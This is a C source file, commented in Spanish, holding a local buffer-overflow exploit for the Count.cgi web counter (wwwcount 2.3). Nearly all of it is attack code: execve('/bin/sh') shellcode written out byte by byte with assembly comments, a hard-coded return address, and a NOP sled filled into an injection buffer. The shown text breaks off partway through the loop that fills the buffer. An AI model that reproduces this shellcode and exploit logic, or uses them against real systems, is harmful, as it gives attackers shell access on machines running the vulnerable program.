/* * Exploit local para Count.cgi (wwwcount2.3) */ #include #include char hell[]= "\xeb\x1f" // jmp 0x1f "\x5e" // popl %esi "\x89\x76\x08" // movl %esi,0x8(%esi) "\x31\xc0" // xorl %eax,%eax "\x88\x46\x07" // movb %eax,0x7(%esi) "\x89\x46\x0c" // movl %eax,0xc(%esi) "\xb0\x0b" // movb $0xb,%al "\x89\xf3" // movl %esi,%ebx "\x8d\x4e\x08" // leal 0x8(%esi),%ecx "\x8d\x56\x0c" // leal 0xc(%esi),%edx "\xcd\x80" // int $0x80 "\x31\xdb" // xorl %ebx,%ebx "\x89\xd8" // movl %ebx,%eax "\x40"// inc %eax "\xcd\x80" // int $0x80 "\xe8\xdc\xff\xff\xff" // call -0x24 "/bin/sh"; // Shellcode estandar //#define OFF 0x12345678 #define OFF 0xbfffac30 // Direccion de retorno #define ALINEA 2 // Desplazamiento para pisar eip correctamente #define LEN 4098 // Longitud del buffer a inyectar #define NOP 0x90 int main(int argc, char *argv[]) { int offset=0; char buf[LEN]; // Buffer a inyectar int i; char buffer1[5000]; // Buffer de tabajo, no afecta a que el exploit funcione if(argc < 2) { printf("Usage: xp \n"); exit(0); } else { offset=atoi(argv[1]); } memset(buf,NOP,LEN); // Llenamos nuestro buffer a inyectar con nops memcpy(buf+2000,hell,strlen(hell)); // Copimaos nuestro shellcode en medio de nuestro buffer for(i=2000+strlen(hell)+ALINEA;i